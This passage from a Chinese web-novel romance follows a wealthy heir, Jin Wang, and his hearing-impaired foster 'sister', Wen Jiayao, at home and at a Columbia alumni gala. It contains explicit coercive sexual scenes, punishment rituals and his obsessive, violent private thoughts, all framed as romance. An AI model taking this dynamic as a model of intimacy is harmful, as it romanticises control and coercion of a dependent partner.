靳妄淡敛着眼皮,沉默地看了她两秒,倏然抬手掐起她的脸。 温嘉窈被他突如其来的动作吓到,下意识挣扎后躲,却被男人长指更用力掐紧,冰冷指腹按压着她脸蛋上的细腻肤肉。 女孩脸颊受他指力挤压,软弹的肉感微凹,嘴唇也被迫撅起。 下一秒靳妄的手指探进去,指尖施力压住她的舌头,屈指顶起口腔上颚,迫使她张口。 “唔……”女孩喉头不自觉蠕动,幼猫似的发出呜咽。 “像这样张嘴。”他的力道不容抗拒。 口吻也是,“让我看到你的舌头,听懂了么?” 温嘉窈眼睫不停地眨颤,一双黑亮的眸泛起红,湿漉漉的,仿若蒙了层潮雾般,被迫乖巧地点了点头。 她还记得,那天自己最终磕绊着读准了他的英文名字。 陌生又拗口。 更清楚地记得,靳妄手指退出时牵连的一线银丝。 剔亮,怪诞,又荒靡。 …… 曼哈顿晚高峰拥堵,回到上东区别墅时已经天黑了。 靳妄表现得一切都很正常。 从在医院陪她检查,跟医生沟通,方方面面事无巨细。 跟外院的别墅管家聊天也和颜悦色,笑容明朗松弛,与以往没什么不同。 如果不是记得下午在球场,他的眼神有多可怕,温嘉窈甚至会觉得他心情不错。 然而一进家门,温嘉窈直接被他带到了书房。 房门关上,男人的吻铺天盖地压下来,呼吸滚烫,唇瓣吮吸的力道充斥侵占,强势得近乎蛮横。 他手臂箍勒她的软腰,紧密贴合,身体烫温源源不断地倾泻给她。 舌尖伸进去,卷曲挑逗她的小舌,舔.弄她口腔中的每一寸软热,骨感长指抚揉着她的细腰。 温嘉窈很快被他亲得头晕目眩。眼眶与她,热潮流涌。 安静的房间里,腻满他们唇舌交濡的小噪音。 温嘉窈呜咽起来,手指无意识攥紧他腰间衣料。 头脑混沌的某个刹那之间,她觉得恍惚,想到从前,跟着靳妄学英语,他态度强硬地逼她开口讲话。 后来肆无忌惮地欺负人,行径恶劣,剥夺她所有开口的机会。 张嘴只剩下哭吟、求饶、碎烂的气息。 “还敢分心?”靳妄停了下来。 他缓缓露出笑容,冰蓝瞳孔却折投一线冷光,眸波透出浓烈讥讽。 温嘉窈被他极具剖析力的视线烫到,心口微窒,乌密长睫轻颤着,想要哄他:“哥哥……” 可今晚,靳妄显然不吃她这套。 他唇仍挑着,放开她,转身绕过书桌坐下,朝她招招手:“过来。” 女孩慢吞吞地挪步走过去。 还没等站稳,一道红影潇洒划穿室内昏光,朝她丢掷过来。 温嘉窈手忙脚乱地接住,低头望向怀里的东西,才看清是个红艳的蛇果。 这时,对面男人手持拆信刀,刃尖挑起她身上裙子的一角。 下巴微扬,示意她手中的蛇果,腔调慵懒地告诉她:“今天夹这个。” 他说:“我希望待会儿吃它的时候,” “上面浸满你的味道。” 6.红丝线 深红墙壁前,年轻女孩形单影只地站着。 一头长发如绸般乌顺亮泽。脸侧发丝挽去耳后,浓密发尾垂下肩,更衬得她肩颈修长,瘦骨纤薄,腰线轻盈弱如柳。 吸壁灯在她头顶打落下暖黄柔光。 她被灯影温柔裹住,光下的她尤为清伶安静。 像一枝被妥帖裱进红底油画的标本花,纯洁易碎,近乎脆弱的美感,看起来缺乏生机。 不过,倘若细看,此刻女孩脸上晕着异常烫温的酡红。 “我、我好了……”温嘉窈微低头,声若蚊喃。 书桌前,靳妄歪头睨着她,视线落在女孩指间的红色丝线,眉梢轻挑了下。 温嘉窈浴在这片昏光晕影之下。针织衫袖口偏长,半遮着细瘦骨感的手腕,只露出纤白莹润的手指。 指尖上绕过红色丝线,颜色浓烈刺眼。 红丝线缠着她指骨凌乱交织,靡红轻轻勒入盈白指腹,反衬得女孩的指节剔透泛粉,秾丽得扎眼,为她素净的气质里添一抹冶艳。 红线从她指间垂落,向下延伸。 男人的视线追逐着那丝红线,拉低眸,瞟过她的棕色复古裙。 红细的丝线从这里消失,如有意识般钻入了裙下。 靳妄懒恹地掀起眼皮,口吻淡凉:“做错了什么,自己说。” 温嘉窈咬紧唇瓣,手指下意识勾紧线绳。 红线另一端,由她自己亲手系绑住那颗蛇果。 她乖顺按照靳妄的命令,夹好。 蛇果表面光滑,于是她必须要发力收紧腿,才能保证不掉出来。 这是他的开始。 她知道。 温嘉窈不敢直接说,只能低眉,小声道歉:“靳妄,对不起。” 靳妄情绪没什么波动,敛回目光,从桌旁矮柜中拿出一个白皮本,告诉她: “说清楚,我再决定要不要原谅你。” 他手中的记录本通体纯白,硬壳封面,再无任何装饰。 本子厚得有些压手,书脊微微鼓起,应当被翻开过无数次。 靳妄长指挑开封面,柔黄扉页上,落有一行字: 【Yao'sMedicalRecord–YearFour】 (窈窈的病历-第4年) “对不起…我不该把水泼到别人身上。”一旁,温嘉窈的声音带了点颤儿。 靳妄却眼都不抬一下,“重说。” 温嘉窈不知道该怎么说,一时陷入沉默。 秋夜冷风溜入窗隙,浅青色窗纱飘飞,寂静的书房内只剩沙沙作响的翻页声。 是靳妄在翻动手中的病历本。 由他亲手记录的,关于温嘉窈治疗过程的病历本。 病历本内页以天数往后排,每日一页,左上角统一标注日期与天气。 内容则清清楚楚地记录着温嘉窈每日的身体情况。 例如听力测试结果、噪音反应、高频敏感、夜间耳鸣次数,以及设备参数调整等等。 每逢复查日,纸张上会附夹着检查报告与助听设备调试单,旁边还有单独手写标注的便签。 温嘉窈今年大四。 所以这是靳妄手写记录的第四个病历本。 半晌,温嘉窈想好措辞,再次艰难开口:“对不起,我、我不该碰别的男生。” 她终于有所意识,或许是因为自己为男生擦身上的水,而偏偏对方赤着上身,被靳妄好巧不巧撞个正着。 靳妄总算停下手里动作,抬眼看她,“没了?” “……没了。”温嘉窈略有畏缩地说道。 靳妄被她气乐了,“温嘉窈。” 他慢慢眯起眼,冰蓝眸底渗进冷峭的讥讽,“你是真懂事,还是在故意找死?” 他有一双极具煽动力的眼睛,在暗处蔚蓝如流动的深海,空落寒凉。 此刻这双眸阴燃着冰冷锋利的光,刺向她,一寸寸冻结心跳。 温嘉窈感到恐惧,全然不敢松懈。 她更加努力,尝试稳住那颗蛇果,可当神经高度紧张时,身体因紧绷而出汗,腿上很快泛起细密的潮意。 她感受到蛇果打滑,一点点,蹭着她柔软的皮肤往下掉。 不必看也知道,那里一定变得通红。 温嘉窈开始有些坚持不住了。 她忍不住想要朝靳妄靠近一点,想办法尝试讨好,让他消气,这样才能早点结束这磨人的惩罚。 不料她刚想动,书房外蓦地响起敲门声。 靳妄对她的煎熬视若无睹。眼梢微扬,低头记录下今天温嘉窈的复查结果,同时薄唇翕动,应允:“进来。” 书房门被推开,佣人端捧着一盘树莓进来。 是温嘉窈平时很爱吃的。 但她现在没机会。 见到有人进来,温嘉窈更加不敢乱动,长睫眨颤着垂下,双手背过身后将指间红线无声地掩藏好。 所幸女佣未做停留,放下银花托盘后,便低头安静离开。 靳妄仍在本上随性书写,腕骨游走间字迹恣肆,收笔延长,断点锋利干净,笔锋如人般淋漓又潇洒。 她又用了转移话题的老方法: “靳妄,我想吃一颗树莓…可以吗?” 女孩的尾音落有近乎祈求的成色。 靳妄懒懒轻嗤, “Nosugarforanaughtygirl.”(不乖的女孩尝不到甜头。) 他没有为她的柔音软腔而赋予分毫怜惜,只是偏头睨向她,长指勾动漆光黑亮的钢笔,点扣在实木桌,声声惹人心惊。 “你挺会做人的。”他腔调嘲弄,列数她的罪行, “别人喜欢我,你教她送水。” “有男人碰你,你倒比在我面前还乖。” 靳妄站起来朝她抵近,伏低腰身,抬手按在她单薄的肩头,抚上去,贴触她发烫的脸颊,掌心热意惊人。 温嘉窈不自觉瑟缩肩膀想躲,却避闪不及。 他抬指点触在她鼻尖,缓缓下移,轻佻描摹过女孩的鼻唇线,蓝眸低暗,语调玩味盎然:“难怪,他们所有人都夸你懂事。” 温嘉窈几乎要坚持不住。她出了许多汗,耻热蔓延之下更为滑腻,纵使她竭力并紧腿,仍旧无法阻止蛇果在一点点不断往膝盖的方向下坠。 “哥哥……”她不得不开口,尝试求助他。 脊背僵直,膝弯发颤不止。 她摇摇欲坠地挪步向他,像走在钢丝上,不敢卸力,生怕一脚踩下万丈深空。 “哥哥,你知道的,”女孩习惯将讨巧的话说尽,“我在你面前是最乖的。” “是很乖。”靳妄散漫笑哼了声,字词低哑:“装得最乖。” 音落,他修削指节挑起女孩手中的靡红丝线,勾紧,狠戾扯动一下。 温嘉窈瞬间皱起眉,发出浅弱呜咽。 大腿的内收肌酸胀不已,她无力再坚持,后腰靠在 书桌边缘。 她仰起头,垂下的手渐渐捉起裙子,秀致泛粉的鼻尖沾着点汗意。凝视他的眼神像每次示弱时那般,惊惶中带着点茫然。 “让你动了?”他没这么好心放过。 温嘉窈紧抿着唇,没吭声,手从裙子里出来,蛇果滑脱落在手上,她举起来递给靳妄看。 “哥哥,太滑了…”她耳尖涨红得像渗血。 靳妄呼吸猝然加重,额上青筋暴起,蓝瞳盯视着她手中的蛇果,神情充斥危险色泽。 暗红的禁忌之果,被女孩薄白纤润的指尖捏住。 表面水迹顺沿果皮滑淌下来,被柔暖壁灯映照得剔闪晶亮。 书房内一片静谧,温嘉窈听见自己磕绊的声线:“是苹果不乖……唔…” 靳妄直接把人压在书桌上,用力吮咬她的唇。 他显然没剩几分理智了,眼尾烧着红,扯断系在红线一端的蛇果。 哗啦—— 桌上的银花托盘被撞得偏斜,猛然倾翻,满盘树莓簌簌滚落。 猩红果子骨碌碌滚了满地,颗颗弹落,砸出密集细碎的闷响,伴着错乱呼吸与重力节拍,在寂静夜里,随不可捉摸的行迹留下汁水。 只是温嘉窈无法专注,更做不到像靳妄那样放肆。 她顾及的事很多,担心门外有人,担心佣人经过书房听见异样响动。 门没锁,她更害怕随时有人像刚才那样进来送东西。 于是温嘉窈不得不分心。在靳妄唇下发出低弱哭音,慌张地叫他的名字,让他停下,或者语无伦次地妥协,求他回去卧房。 同时高度集中注意力。她把这当做练习耳力测试一样对待。 凭借助听器,在每个莺莺软软的哭腔与字音磕绊间,时刻听着门外的动静。 靳妄被她磨得不耐烦,直接扯掉她的助听器, “Onlylistentome.”(听我。) 他总是威胁又强硬,命令式亲密。 但他并非每次都不准她戴。 温嘉窈不禁想起,靳妄送她这副高定助听器时,整晚都强迫她戴着。 “试试效果。”他亲手为她戴上。 也亲自测试,用把她折磨到哭的方式,“听,我们互相碰撞的声音——” “清晰么?动听么?” 比起那种声音,其实她记得的是在那个时刻,他的声音。低懒发沉,声腔散漫,尾音拖着点野性难驯的坏劲儿。 情绪高涨时,喘得湿哑透欲,斥足滚烫难言的侵略感。 温嘉窈被他的嗓线烧得很快意识模糊,穿皮透骨。 就像今晚,此刻这般。 书房内,香薰燃烧矢车菊蜜香,撬动情火。 烛灯熄灭在压抑的音节里,室内溺入昏聩,堕落另一种声色泥泞的长夜。 书桌上的一切物品都散落在了地板。 窗纱飘开,墨绿格窗光可鉴人,倒映出起伏叠覆的身影。 霜白的月光斜斜打透格窗,映亮地板上的病历本,冷风贯穿进来,吹得纸页翻动。 停住时,露出尚未干透的几行字,黑色笔迹醒目刺眼—— 【窈窈】 【我的亲爱可爱最爱好爱好爱好爱的完美的妻子】 【清理掉父亲和兄长,就让窈窈当最耀眼的埃德蒙夫人】 【不,我要当最耀眼的窈窈丈夫】 【所有人都该被踩在窈窈脚下】 【我也是。】 7.蓝调里 三天后,学校举办一年一度的“蓝夜校友会”。 哥大每年秋季都有返校周,惯例邀请往届杰出校友返校参加。 其中,“蓝夜校友会”面向全体在校生开放,且背后赞助方涉及校董会,华尔街投行,纽约律所,高端医疗机构,以及几家与哥大交谊深厚的老钱家族基金。 因此,“蓝夜校友会”也成为哥大每年最盛大的校园节庆之一。 庆典主场设在哥大中央露天草坪上。 所谓“蓝夜”,顾名思义是在昼夜之间的蓝调时刻。 天边最后一线霞光被吞没,滑入靛蓝色薄雾里,宁静的朦胧散漫开来。 秋夜微凉,露天草坪被落地暖灯与大片灯串映成彩河。 空气中流动热烈。四周支起酒水吧台,甜品长桌,以及各个社团的游戏摊位,远处还能听见球场与人群传来的欢呼声浪。 “窈宝,喝果茶,”关婧从水吧那边走过来,把手中果茶递给温嘉窈,四周张望一眼,问道,“阿珠怎么还没?” “来了。”一个浅青短发的酷Gril忽然出现,手里端着一盘甜点。 “哇阿珠你也太棒了,怎么知道我最爱吃的就是这个!”关婧登时双眼放亮,伸手就要去拿其中一个柠檬乳酪塔。 然而关婧手刚伸过去,就被郁珠轻拍了下手背,假意嗔怪她:“那是窈窈爱吃的。” 关婧才不怕,照样拿起来,“我认识窈窈可比你还早,我能不知道她爱吃什么嘛?”说着,边将手中的乳酪塔转手递给温嘉窈。 “谢谢。”温嘉窈接过来。 转瞬又被关婧撞了撞胳膊,“窈宝快看,你哥又被围了。” 温嘉窈和郁珠同时顺着她的话,抬头看去—— 霓虹夜灯光色饱和,入眼鎏金溢彩。 靳妄懒漫松弛地站在那里,倏尔扯唇,就令整片旖旎灯影霎时虚化,光斑点点失真,一切场内的雾影流光皆沦为他优越皮囊的陪衬。 “靳妄真敢穿,那种湖绿色的西装我还是第一次见有男人能驾驭,被他气势压得一点也不浮夸诶。”关婧咬着冰果茶里的吸管,满眼惊叹。 郁珠倒见怪不怪,掰起指头数,“那位少爷可不是吹的,除了学霸校草、家世逆天、人缘爆好这些代名词之外,” 她顿了顿,又补充,“超模衣品更是出了名的。” “对对对!”关婧满口赞同,还不忘带上温嘉窈,调侃她,“你这个当妹妹的也来评价评价嘛。” 温嘉窈安静低头挖起一勺柠檬乳酪,婉然弯唇一笑:“我不太懂时尚审美。” 她的确不懂,只是能以大众眼光分得清好看与否,美与丑。 诚然,无法否认,靳妄是美的。 复古绿调双排扣西装,宽驳领线条利落,自平直肩背一路收束勒出劲窄腰线,将他修瘦落拓的身形体态展现淋漓,考究版型剪裁挺括,不见半分褶皱。 他没系领带,西装里面只搭了件白绸低领内搭,领口松松敞开。 全身没有冗余装饰,他通透的蓝眸是永恒的点睛之笔,在一身矜奢湖水色上,凝聚成一抹靡滟的亮色泉眼。 此刻,在他周围聚拢着来自各界的名流校友。 靳妄被人们簇拥着,宛若旧派贵族的绅士公子。漫不经心的痞贵感蛰伏在他眉眼,光鲜自矜。 “天呐,这简直就是靳妄的个人交际场。” 这时,温嘉窈听到关婧赞叹, “不过想想也是,大家嘴上说来参加返校会,实际大多数人都是冲着靳妄来的。” “毕竟埃德蒙家族基金是‘蓝夜’的背后赞助方之一。”郁珠抱着手臂,“靳妄大一入学之前,学校盖的那栋生物实验楼就是他家捐的,说是感谢学校的培养。” 关婧立马接话,“那话翻译一下就是,埃德蒙家的小少爷在贵校读书,家里高兴,顺手给学校捐栋楼呗。” 埃德蒙生物科技楼,哥大的门面级建筑,是实验与科研资源集中的核心楼之一。 温嘉窈是在大一的时候了解到这些的。 那时她刚安定下来,正在找校园兼职,之后向学校提交了应聘洗衣房管理员的报名申请。 可是后来,埃德蒙生物楼突然向她发函,说他们正在招聘实验助手,盛情邀请她加入,提供的报酬竟然丰厚得吓人。 然而温嘉窈自觉残疾,语言不通,也不是专业相关,不敢耽误人家,于是婉拒。 没想到拒绝当晚,校务负责人就打电话来,通知她通过了洗衣房管理员的兼职申请,不仅工资翻了三倍,对方语气还万分温柔,对她嘘寒问暖。 思绪回拢,她看到郁珠点头,“财富从来只是埃德蒙家族的表层体现。” “作为纽约一线老钱门阀,埃德蒙家根基深厚,家族金融资本体系庞大,长期掌控跨境投资和顶端科技,包括华尔街投行等等。” “所谓‘上流社会’,通常有一套属于他们自己的成熟社交体系。”郁珠捏着吸管搅拌了下杯中的鸡尾酒特调,说得云淡风轻, “但凡想在圈里往上爬的,多少都要仰赖埃德蒙家族放出来的资源。” 关婧故意拖着调子“哇哦”一声,打趣道:“不愧是家里跟埃德蒙家有合作关系的,你对靳妄他们家还真是无所不知啊。” 温嘉窈之前大致听过郁珠讲,郁家是做拍卖行与艺术品信托的。 平时与很多基金会、画廊、慈善这些圈子走得近。虽然和埃德蒙家那种高阶门阀没得比,但在纽约上流圈里,郁珠也算名副其实的富家大小姐。 郁珠耸耸肩说:“毕竟我爸听说我跟靳妄同一个大学,天天在我耳边念叨埃德蒙家有多手眼通天,叮嘱我一定要去跟人家搞好关系。” 说到这里,她朝不远处扬扬下巴,“喏,我爸的想法就跟那些人一样,哪怕不能被靳妄记住,至少也在他面前混个脸熟。” 温嘉窈顺着她示意的方向,看过去。 此刻围聚在靳妄身边的人已经换了一拨又一拨,大家的目的都一样,无非就是如郁珠所言,极力在他面前刷个存在,仰慕示好。 “那你怎么不去?”关婧坏笑着逗郁珠。 “嘁,人贵在有自知之明好吗?”郁珠啧声,“人际交往的道理跟爱情是一样,要有你来我往才能长久。” “如果关系不平等,就要用卖乖讨巧的代价去换。” 温嘉窈指尖微蜷,下意识低垂睫毛。 她知道郁珠在说自己的父亲,可仍然像被揪扯住隐秘羞耻的心事,心悸不已,耳廓燥热得几乎抬不起头般,令她感到无处遁形。 “我做不到。”郁珠语气干脆。 是的,阿珠贵为富家千金,讨好靳妄这种事她并不是必须要做。 而温嘉窈没有选择。 她一定要做。 耳边再次响起关婧的声音,将温嘉窈从自我的局促中,解救出来。 “所以你没去跟靳妄处关系,但却跟他的宝贝妹妹处成了好闺蜜?”关婧笑着打趣道。 温嘉窈回过神,眸光盈动地转头望向郁珠。 郁珠被她看得噎住,顿时脸都急红了:“不是!我……” 可哪怕平日里是巧舌如簧的大小姐,对上温嘉窈那双干净无辜的眼睛,郁珠无论怎么都没办法理直气壮。 “不是那样的窈宝!” 她赶紧放下手中酒杯,转身挽上温嘉窈的胳膊,语调急切地解释,“我承认自己一开始主动接近你,确实有一点私心,但是我发誓——” 郁珠说着就举起三根手指。 然而在她开口之前,温嘉窈弯起嘴角,先一步拉下她的手:“阿珠,我们的情谊不需要赌咒。” 郁珠瞬间感动得不行,搂紧温嘉窈歪头靠上她肩膀,全然没了平日里拽拽酷酷的模样,只顾着撒娇道:“窈窈你怎么这么好啊。” 关婧打了个寒战,“你要不要这么夸张!” “你个挑拨离间的坏蛋,你给我过来!”郁珠说着就放开温嘉窈,跑去捉关婧。 关婧惊呼着边跑边朝她做鬼脸,两个女孩围着温嘉窈笑闹追逐,跑累了又开始坐在一起吃喝聊八卦。 只有温嘉窈心绪有点飘远。 她想到了郁珠刚才那句话,说得很对。 没有平等的关系,就要用卖乖讨巧的代价去换。她跟靳妄彼此身份悬殊,天差地别,从不是一路人。 所以分开是一定的,剩下的时间也不会太久。 想到这里,她不禁觉得心情轻松了些,同时又莫名感到有点心虚,不自觉撩起长睫,凝神望向草坪中央最热闹的人群。 湖绿西装将靳妄的混血骨相衬得更为冷白。他今晚梳了个侧背头,露出侵略性浓烈的眉弓骨,锋棱野性,鼻线削利英挺,唇薄透欲。 恰在这时,靳妄懒倦掀抬眼皮,缓缓朝她投来一道视线。 他神情松散,盯着她,慢悠悠打了个手语。 男人长指精瘦削长,骨节修白,金属机械表链圈缠在他腕骨,折射钻闪微芒,仿似有莹玉般的光泛绕在他手指。 如此夺目张扬,令温嘉窈几乎一霎晃晕了眼。 当下他周围还聚着许多人,见到他娴熟的手语动作,众人随着他的目光,纷纷朝温嘉窈看过来。 温嘉窈立刻避开旁人探究的眼神,转身低下头。 可逃得开外人的凝视,却躲不掉两个闺蜜。刚刚还在打闹的两个女生,见到靳妄打手语,立马都围上来追问:“窈宝,靳妄跟你说了什么呀?” 对于两个好闺蜜,温嘉窈倒并没有遮掩,只是微红着脸翻译:“……他说放学一起回家。” 关婧由衷羡慕起来:“你哥对你真体贴,不像我哥一天到晚只会跟我斗嘴抬杠。” “他们是兄友妹恭,你跟你哥是欢喜冤家。”郁珠啧笑。 “打住,0个人想跟他欢喜。”关婧反驳,“我那位亲哥只会找茬惹我生气,哪像人家靳妄已经另一层level,对窈窈照顾得无微不至好吗?” 靳妄的确对她非常照顾。 从第一天见面起。 温嘉窈到现在还记得,初次来到【红谷庄园】那晚,她第一次正式与靳妄的家人共进晚餐。 西餐桌很长,雪白洁净的桌布铺展在上面。烛台与高脚杯排列,银餐具和水晶吊塔灯都在散发冷光,无声而庄重。 餐桌上有很多人,席位分明。 在当时,温嘉窈并不认识埃德蒙家族的人,偏偏苏阿姨临时因工作而晚归,开餐时还迟迟没回到家。 温嘉窈听不懂他们说的英文,甚至因助听器老旧而有些听不清是谁在发声,她担心自己错过主人家的问候而失礼,更担心自己弄不清西餐的顺序而丢脸。 这让她感到前所未有的窘迫,简直如坐针毡。 她身子僵直地坐在那里,神经高度紧绷,努力回想来之前特意上网搜查过的那些西方餐桌礼仪,但实在太过紧张,又一时什么都想不起来了。 第一道前菜端上来时,温嘉窈下意识去碰手边的叉子。 倏然,一只修削瘦白的手探过来,状似不经意地替她将那只叉子往前推了点,随即长指灵活勾过另一只,不动声色地移到她手边。 温嘉窈微微怔愣,偏头望过去。 才发现靳妄就坐在她右手边。 她认识这个混血少年,是因为下午收拾行李时,他突然翻.窗进来跟自己打招呼,还称呼她“中国小猫”。 靳妄并没 有因为她的凝望而回眸,而是正懒懒听着父亲说话。 丝丝光芒泄在他极具攻击性的漂亮侧颜,少年丰神俊彩,眼梢眉尾浪荡浮佻。 这时,他慢条斯理拿起自己手边的餐叉,动作刻意放慢,仿若某种耐心的示范。 银亮长柄餐叉映得他指骨分明,莹润如玉。 彼时温嘉窈从未想过,男性可以拥有那样一双手。 当然更不会料到,那双手在那之后的很多个夜晚,将她身体的每一寸丈量透彻。 那时的她盯得太久,后知后觉地感受到靳妄转头。 薄韧眼睫微垂,眉峰一挑,蓝眸浸含玩味地睨着她。 温嘉窈瞬即涨红脸颊,连忙低下视线,学着他的样子拿起正确的餐叉。 浓汤上桌时也是同样,她实在弄不清勺子该从哪边拿。 是靳妄食指微蜷,似有若无地擦蹭过她的手背,温嘉窈下意识松开手,被靳妄将银勺柄径直塞入掌心。 半晌,透过老旧助听器,耳间隐约传来懒散引导的男声:“继续看我的手。跟着做。” 之后一整晚,温嘉窈几乎是被靳妄一手带着,才能平平稳稳吃完那顿饭。 却不料饭后,从西餐厅回主楼路上又出意外。 温嘉窈没想到自己会迷路。 靳妄家的庄园实在太大了,她站在岔路口,四周全是高过肩头的树篱,白石小径两侧立有一模一样的雕花路灯。 远处隐约能听到喷泉声响,却怎么都绕不出去。 直到这时候,身后蓦地传来一声低懒嗓音:“挺能走。” 温嘉窈骇然回头,望见靳妄不知什么时候出现在这里,斜身倚靠着哥特拱门旁,湛蓝眸眼半眯着,唇角扯起稀微嘲弄的弯弧。 他双手散漫插着裤兜,字音浸泡戏谑意味,明晃晃的坏:“Kitty,我家花园都快被你逛完了。” 在他平直宽肩背后,大片蔷薇花丛开得盛旺,在沉蓝夜色。 一如今晚潮雾靡丽的,蓝调时刻。 温嘉窈记得清晰。 她从回忆里抽神出来,忍不住再次看向不远处。 靳妄正懒身坐靠在高背椅,手腕发力抛起一个蛇果,精准接住。下一秒他忽然抬眼,视线穿过晃动光影攫住她,眼尾勾着戏笑,缓缓咬下一口红艳果肉。 温嘉窈很难不回想起另一颗蛇果。 几天前的夜晚,她在靳妄的书房被迫用大腿夹住的,另一颗蛇果。 她很快感到情难自禁地腿软。 …… 回家路上,靳妄一直在车上处理工作。 这种时候温嘉窈从不会打扰他,便干脆也拿出书本,安静地在一旁学习。 “郁珠,你跟她关系很好?”过了好久,靳妄倏然懒沉沉地问。 温嘉窈手中的笔略顿,她不太明白靳妄这句问话的含义,可她清楚靳妄的脾气。无论如何,她的回答要他满意才可以。 于是她没有好与不好,只是温声开口:“阿珠…她平时很照顾我。” “阿珠。”靳妄低头轻笑,慢慢悠悠放下手中的平板,“叫得真亲。” 原来是照顾……呵。 原来照顾是搂着窈窈不撒手。 拍窈窈后背,碰窈窈手腕帮窈窈整理碎发贴在窈窈耳边说悄悄话。 靳妄垂着眼,讥讽地想着,挺好,一个两个的,都挺喜欢他的窈窈。 照顾?她也配? 贴了蹭了碰了脏死了不准不准不准!!!!! 笑什么,搂什么,身上都有别人的味道了。 难闻! 洗掉。 我帮窈窈洗。 “照顾。”他舌尖抵在上颚,把这个词含化了,又吐出来。 他在这之后欺身上前,手臂撑在她臀侧,稀微偏头,渐渐朝怀中的女孩凑过去, “可是哥哥对你也很照顾,为什么窈窈对她真心,” 他有意停顿,视线缓缓拉低,如有实质般从她的眼睛滑落到她的唇上,腔调里情绪不明,“却总对哥哥充满警惕呢?” 他半敛着眸,薄睫似鸦羽乌沉直密,落在眼睑下两片阴翳,叫人望不清那双琉璃般冰冷剔透的蓝眸中,究竟暗涌着怎样晦沉莫辩的情感。 “窈窈好不公平啊……”男人戏谑声腔里竟落有两分委屈。 温嘉窈顾及着前排还有司机在开车,尽管有隔板,可她不能保证靳妄发起疯来自己能掩盖住。 当靳妄低头朝她吻下来,温嘉窈眼疾手快地抄起书一下子挡到两人唇间。 靳妄眉梢一挑,没动,只似笑非笑地看着她。 幸好这时已经快到了联排别墅。车子未及完全挺稳,温嘉窈已经弹开锁,打开门迅速跑下车,手里抱着书,却连书包都顾不上拿。 靳妄不紧不慢地走下车,一手拎着她的书包,单手插兜跟在后面。 前面温嘉窈先一步跑进家门,低头匆忙换好鞋,转身就想往楼上跑。 却没来得及,下一刻就被靳妄一把扣住手腕扯回来,压在门上。 “跑进家门就安全了么?”靳妄微微歪头,低眼笑睨着她,“是不是把我想得太善良了?” 他俯身低头将唇再次压下来—— “你们两个在干什么?!” 陡然,一道冷厉训斥的女人声音响起。 温嘉窈心头猛地一坠,惊惶中抬眼望去。 别墅客厅内尚未开灯。 黑暗浓得像潮水,昏沉沉压下满室寂静。 沙发上不知何时出现一道女人的身影,脊背直挺,端坐在沙发上,视线刺透暗雾直直钉在他们身上。 ……是苏阿姨。 靳妄的母亲,靳苏。 8.哥哥抱 温嘉窈不禁僵在原地,下意识往靳妄身后缩了下,借他阴影躲避。 她觉得自己没脸见苏阿姨。 苏阿姨亲自安排人将她接来美国,为她提供了和靳妄几乎同等的学习生活便利。 自己怎么可以占尽好处,又把苏阿姨的儿子也占了? 她害怕。 如果苏阿姨知道她和靳妄的关系,会不会把她驱逐出去,那样的话,外婆也会知道这件事……她更不愿意让外婆伤心。 她身上清淡的柔美,平添几分受惊的破碎感。 靳妄垂眼,眸色在暗室里格外淡冷,看见她吓得苍白的脸色,和她微颤着欲言又止的嘴唇。 真吓到了? 靳妄的眸光转瞬沉冷,犹如冰下暗流拖着理智进入深渊。 吓到窈窈的东西,都该死。他想。 窈窈属于我,不准任何别的事物影响窈窈。 窈窈的心跳、眼神、呼吸颤抖犹豫疼痛震动哀愁不安无措眼泪一切,全都,是,我一个人,的。 我,一个人的。 他指节一顿,松手放开她,侧身肩线一横,不动声色将人挡在身后,恰好隔断靳苏投来的探究视线: “你怎么来了。” 语调平淡,尾音没抬,对母亲说话像对一个不请自来的陌生客人。 靳苏脸色很差,从沙发站起身,快步走上前来,没等在两人面前站定,就对温嘉窈伸出手:“你太让我失望了!” 男生的反应更快,干脆地打掉母亲即将触碰到温嘉窈的手,眉头略蹙:“别碰。” “靳妄。”女人厉声呵斥。 苏阿姨罕见地抬高音量,让温嘉窈的肩膀更加缩紧。 女人的身高大不如儿子,仰头对视,经年的气势令她没有矮下任何一头。 她皱着眉头盯视靳妄,再次伸手,把温嘉窈拨到了自己身后。母子的神情间是同样的对峙审视,一个严肃不悦,一个怠惰悠懒。 “呵…” 半晌,靳妄嗤笑出声,读懂了女人的责备。随即松懈身躯,再抬眼,恢复散淡态度。 此时温嘉窈还在想怎么解释,如果真的就这样被赶出去,自己还有可能完成哥大的学业吗?如果毕不了业…… 思虑间,她眼眶泛出焦灼的殷红。 就在这时,靳苏开口斥责道:“我不是让你照顾好妹妹吗?你为什么在欺负人?她摔倒了受伤了,我看你还敢作死。” 温嘉窈错愕抬头,没想到会是这样发展。 是灯光太暗,苏阿姨没有看清楚,误以为靳妄在欺凌她……? 所以刚才苏阿姨的怒火,是冲靳妄来的。 温嘉窈略微松了口气,转而又更加愧疚,到底,她不擅长欺骗。 “你误会了,我只是在关爱窈窈。” “而且,我享受关爱她的过程。” 和她相反,靳妄显得泰然自若多了,绕开两位女士,放下手里的女款书包,向开放式餐厅走去。 他拉开餐椅,回头看温嘉窈:“窈窈,过来。” 姿态疏淡,仿若兴致了了,又像是偶然吝啬的慈悲。 温嘉窈了解靳氏母子中间微妙的冷淡,却不清楚这种气氛的成因。只好笑着挽起苏阿姨的手臂,请她一起入座。 这顿晚餐吃得沉默,佣人上菜,主家用餐,桌上只剩碗筷轻碰的声响。 为了照顾温嘉窈的家乡胃,靳妄每日都安排中餐,聘的是江浙菜系国宴名厨。 靳妄一如既往,镇定自若地擦手夹菜,剔净鱼刺,将白嫩鱼肉搁进温嘉窈碗边,自然到已成习惯。 从她刚来到美国开始,靳妄就是这样照顾她的。 靳苏端着红酒杯,目光从儿子脸上滑过,思绪没在饭桌上。 还是温嘉窈最先开口:“苏阿姨,您平时基本不过来,这次是不是有急事要找靳妄?” “哦,不算急事。”靳苏抿了口红酒,“是莱恩那边惹了点麻烦。” “为了把项目回报做漂亮,他私下和外部资本走得太近,资金往来没抹干净,连尽调都敢睁一只眼闭一只眼。前两天被一家小媒体试探着发了出来。” 温嘉窈下意识看了眼靳妄。 莱恩,靳妄同父异母的哥哥。 其母亲同样出身于美国老钱世家,因此,莱恩在埃德蒙家拥有绝对的长子继承人地位。 但这位兄长,似乎对靳妄有一些敌意。尽管靳妄只是个不理家事的风流少爷,兄弟之间却依旧几乎毫无交情。 温嘉窈只能浅显理解为,原配之子对后来者的厌恶。 可对于埃德蒙的家族事件,靳妄绝对比她这个外人敏锐,但不知道为什么,靳妄似乎并不意外。兴趣缺缺,也没反应。 靳苏若有所思地放下酒杯:“你父亲向来最袒护莱恩,以往他捅的那些篓子,都会二话不说平稳盖过。” 